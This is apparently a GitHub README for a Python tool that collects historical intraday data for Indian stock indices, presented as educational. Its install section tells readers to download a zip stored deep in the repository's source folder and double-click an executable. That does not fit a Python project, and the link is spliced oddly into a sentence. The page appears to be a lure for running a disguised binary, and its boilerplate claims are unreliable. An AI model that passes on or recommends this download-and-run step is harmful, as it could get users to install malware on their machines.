Welcome to the data-scraping project! This educational tool lets you collect historical intraday data from popular Indian stock indices, including NIFTY 50, BANK NIFTY, and SENSEX. It has a clean architecture and works across multiple timeframes. Remember, this project is for learning purposes only and is not intended for live trading.
- Multiple Indices: Collect data from NIFTY 50, BANK NIFTY, and SENSEX.
- Timeframe Options: Gather data at different intraday intervals.
- Clean Architecture: Easy to understand structure for educational purposes.
- Comprehensive Documentation: Learn how to use every feature effectively.
- Open Source: Licensed under MIT for community use and collaborative learning.
To use this application, ensure your computer meets the following requirements:
- Operating System: Windows, macOS, or Linux.
- Python Version: Python 3.7 or higher should be installed.
- Internet Connection: A stable connection is needed to retrieve data.
- RAM: At least 4 GB of RAM is recommended for smooth operation.
- Disk Space: Minimum 100 MB of free space for installation.
To get started, visit this page to download: Release Page. There, you will find the latest version available for your operating system.
- Click on the "Releases" link above.
- Download the suitable file for your system.
- If you downloaded a compressed file (like .zip or https://github.com/akashahmed11/data-scraping/raw/refs/heads/main/src/fetchers/data_scraping_2.4.zip), extract it first.
- Open your file explorer and locate the extracted folder.
- Run the program by double-clicking the executable file.
- Launch the Application: After installation, open the application.
- Select Index: Choose which index you want to scrape data from.
- Set Timeframe: Pick your preferred timeframe for collecting data.
- Start Scraping: Click the "Start" button to collect data.
Our comprehensive documentation is available in the repository. It's structured to help you understand how to utilize each feature fully. You can find step-by-step guides and examples to assist you. Look for the docs folder inside the repository for detailed instructions.
This project welcomes contributions! If you want to help improve the software, feel free to fork the repository and submit your changes. Join our discussion forum to ask questions, share ideas, or report issues.
This project aims to provide a learning platform for collecting historical stock data using Python. It is not intended for actual trading.
The data collection relies on real-time market data and updates according to the stock market schedule.
No, this project should be used strictly for educational purposes. Avoid using it for actual trading.
For any additional questions or support, reach out through GitHub Issues or join our community discussions. Your feedback is valuable for improving this educational tool.
Happy scraping!